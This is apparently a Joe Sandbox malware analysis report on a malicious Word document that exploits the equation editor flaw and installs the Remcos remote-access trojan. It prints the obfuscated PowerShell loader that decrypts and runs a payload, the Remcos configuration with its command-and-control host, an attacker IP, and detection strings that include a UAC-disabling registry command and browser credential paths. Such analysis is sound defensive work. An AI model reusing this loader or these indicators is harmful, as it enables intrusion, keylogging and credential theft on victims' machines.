Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
erthings.doc

Overview

General Information

Sample name:erthings.doc
renamed because original name is a hash value
Original sample name:iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings.doc
Analysis ID:1483046
MD5:25a6c39dbc117a7596c857dbec4e5d93
SHA1:7f72c84fb222f0dd96a31e78b34473bde3e0fc81
SHA256:a0a088ddefea91b081ce3eef407d62a9ebbab95b010c23d4afcbaed4896ea61f
Tags:doc
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Found potential equation exploit (CVE-2017-11882)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Maps a DLL or memory area into another process
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Process Tree

  • System is w7x64
  • WINWORD.EXE (PID: 288 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)
    • EQNEDT32.EXE (PID: 2396 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
      • wscript.exe (PID: 1236 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A)
        • powershell.exe (PID: 3116 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'') MD5: EB32C070E658937AA9FA9F3AE629B2B8)
          • RegAsm.exe (PID: 3264 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)
            • RegAsm.exe (PID: 3416 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\mmsiqhwoqhbqrxshpqajxrsgsxt" MD5: 8FE9545E9F72E460723F484C304314AD)
            • RegAsm.exe (PID: 3424 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\woytragqmptvbdolgbukidmxselpvnm" MD5: 8FE9545E9F72E460723F484C304314AD)
            • RegAsm.exe (PID: 3432 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\hidlssrjzxlidrcppmhelihgbsvywydkws" MD5: 8FE9545E9F72E460723F484C304314AD)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "maveing.duckdns.org:18576:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-F4JFYD", "Keylog flag": "1", "Keylog path": "Temp", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
erthings.docINDICATOR_RTF_MalVer_ObjectsDetects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.ditekSHen
  • 0x1f8c:$obj1: \objhtml
  • 0x1fc6:$obj2: \objdata
  • 0x1fb0:$obj3: \objupdate

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\Notepo\logs.datJoeSecurity_RemcosYara detected Remcos RATJoe Security
    C:\Users\user\Desktop\~WRD0000.tmpINDICATOR_RTF_EXPLOIT_CVE_2017_8759_2detects CVE-2017-8759 weaponized RTF documents.ditekSHen
    • 0xd12a:$clsid3: 4d73786d6c322e534158584d4c5265616465722e
    • 0xd174:$ole2: d0cf11e0a1b11ae1
    • 0x7986:$obj2: \objdata
    • 0x7964:$obj4: \objemb

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000008.00000002.883935263.0000000000891000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
          00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
          • 0x6c4a8:$a1: Remcos restarted by watchdog!
          • 0x6ca20:$a3: %02i:%02i:%02i:%03i
          00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmpREMCOS_RAT_variantsunknownunknown
          • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
          • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
          • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
          • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
          • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
          • 0x6656c:$str_b2: Executing file:
          • 0x675ec:$str_b3: GetDirectListeningPort
          • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
          • 0x67118:$str_b7: \update.vbs
          • 0x66594:$str_b9: Downloaded file:
          • 0x66580:$str_b10: Downloading file:
          • 0x66624:$str_b12: Failed to upload file:
          • 0x675b4:$str_b13: StartForward
          • 0x675d4:$str_b14: StopForward
          • 0x67070:$str_b15: fso.DeleteFile "
          • 0x67004:$str_b16: On Error Resume Next
          • 0x670a0:$str_b17: fso.DeleteFolder "
          • 0x66614:$str_b18: Uploaded file:
          • 0x665d4:$str_b19: Unable to delete:
          • 0x67038:$str_b20: while fso.FileExists("
          • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
          Click to see the 14 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          8.2.RegAsm.exe.400000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
            8.2.RegAsm.exe.400000.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              8.2.RegAsm.exe.400000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
              • 0x6c4a8:$a1: Remcos restarted by watchdog!
              • 0x6ca20:$a3: %02i:%02i:%02i:%03i
              8.2.RegAsm.exe.400000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
              • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
              • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
              • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
              • 0x6656c:$str_b2: Executing file:
              • 0x675ec:$str_b3: GetDirectListeningPort
              • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
              • 0x67118:$str_b7: \update.vbs
              • 0x66594:$str_b9: Downloaded file:
              • 0x66580:$str_b10: Downloading file:
              • 0x66624:$str_b12: Failed to upload file:
              • 0x675b4:$str_b13: StartForward
              • 0x675d4:$str_b14: StopForward
              • 0x67070:$str_b15: fso.DeleteFile "
              • 0x67004:$str_b16: On Error Resume Next
              • 0x670a0:$str_b17: fso.DeleteFolder "
              • 0x66614:$str_b18: Uploaded file:
              • 0x665d4:$str_b19: Unable to delete:
              • 0x67038:$str_b20: while fso.FileExists("
              • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
              8.2.RegAsm.exe.400000.0.raw.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
              • 0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
              • 0x6637c:$s1: CoGetObject
              • 0x66390:$s1: CoGetObject
              • 0x663ac:$s1: CoGetObject
              • 0x70338:$s1: CoGetObject
              • 0x6633c:$s2: Elevation:Administrator!new:
              Click to see the 15 entries

              Sigma Signatures

              Exploits

              barindex
              Sigma detected: EQNEDT32.EXE connecting to internet
              Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 192.3.176.154, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2396, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163
              Sigma detected: File Dropped By EQNEDT32EXE
              Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2396, TargetFilename: C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS

              System Summary

              barindex
              Sigma detected: Base64 Encoded PowerShell Command Detected
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Equation Editor Network Connection
              Source: Network ConnectionAuthor: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2396, Protocol: tcp, SourceIp: 192.3.176.154, SourceIsIpv6: false, SourcePort: 80
              Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
              Source: Process startedAuthor: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Potential PowerShell Command Line Obfuscation
              Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = 